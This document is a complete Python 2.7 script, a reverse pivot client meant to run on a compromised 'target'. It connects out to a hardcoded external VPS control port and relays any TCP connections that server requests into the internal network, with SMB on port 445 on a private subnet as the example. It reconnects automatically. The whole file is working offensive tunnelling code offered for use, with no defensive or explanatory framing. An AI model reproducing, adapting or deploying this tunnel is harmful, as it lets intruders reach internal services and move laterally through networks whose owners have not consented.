#!/usr/bin/env python
"""pivot_client_py2.py - runs on TARGET (Python 2.7, stdlib only).
Connects OUT to the VPS control port and forwards requested TCP
connections (e.g. to 192.168.213.x:445) back through that tunnel.
No arguments needed, just:  python pivot_client_py2.py
Reconnects automatically if the link drops.
"""
import socket
import struct
import threading
import time
import os

SRV_HOST = os.environ.get("PIVOT_SRV", "187.6.165.132")
SRV_PORT = int(os.environ.get("PIVOT_PORT", "9000"))

F_OPEN, F_DATA, F_CLOSE, F_OPENERR, F_OPENOK = 1, 2, 3, 4, 5

send_lock = threading.Lock()
localsocks = {}
locals_lock = threading.Lock()
ctl = [None]


def ctl_send(ftype, payload):
    body = bytes(bytearray([ftype])) + payload  # py2.7 + py3 compatible
    pkt = struct.pack(">I", len(body)) + body
    with send_lock:
        c = ctl[0]
        if c is None:
            raise socket.error("no control link")
        c.sendall(pkt)


def close_local(cid):
    with locals_lock:
        s = localsocks.pop(cid, None)
    if s is not None:
        try:
            s.close()
        except Exception:
            pass


def relay(cid, s):
    try:
        while True:
            try:
                data = s.recv(65536)
            except Exception:
                break
            if not data:
                break
            try:
                ctl_send(F_DATA, struct.pack(">I", cid) + data)
            except Exception:
                break
    finally:
        close_local(cid)
        try:
            ctl_send(F_CLOSE, struct.pack(">I", cid))
        except Exception:
            pass


def handle_open(cid, host, port):
    s = socket.create_connection((host, port), timeout=12)
    with locals_lock:
        localsocks[cid] = s
    ctl_send(F_OPENOK, struct.pack(">I", cid))
    t = threading.Thread(target=relay, args=(cid, s))
    t.daemon = True
    t.start()


def serve_once():
    s = socket.create_connection((SRV_HOST, SRV_PORT), timeout=15)
    ctl[0] = s
    print("control link up: %s:%d" % (SRV_HOST, SRV_PORT))
    buf = b""
    try:
        while True:
            chunk = s.recv(65536)
            if not chunk:
                break
            buf += chunk
            while len(buf) >= 4:
                ln = struct.unpack(">I", buf[:4])[0]
                if len(buf) < 4 + ln:
                    break
                ftype = ord(buf[4:5])
                payload = buf[5:4 + ln]
                buf = buf[4 + ln:]
                if len(payload) < 4:
                    continue
                cid = struct.unpack(">I", payload[:4])[0]
                try:
                    if ftype == F_OPEN:
                        port = struct.unpack(">H", payload[4:6])[0]
                        host = payload[6:].decode("utf-8", "replace")
                        try:
                            handle_open(cid, host, port)
                        except Exception:
                            try:
                                ctl_send(F_OPENERR, struct.pack(">I", cid))
                            except Exception:
                                pass
                    elif ftype == F_DATA:
                        with locals_lock:
                            ls = localsocks.get(cid)
                        if ls is not None:
                            try:
                                ls.sendall(payload[4:])
                            except Exception:
                                close_local(cid)
                    elif ftype == F_CLOSE:
                        close_local(cid)
                except Exception:
                    pass
    finally:
        ctl[0] = None
        with locals_lock:
            for _cid, _s in list(localsocks.items()):
                try:
                    _s.close()
                except Exception:
                    pass
            localsocks.clear()
        try:
            s.close()
        except Exception:
            pass
    print("control link down")


if __name__ == "__main__":
    while True:
        try:
            serve_once()
        except Exception as e:
            print("link error: %s" % str(e)[:120])
        time.sleep(5)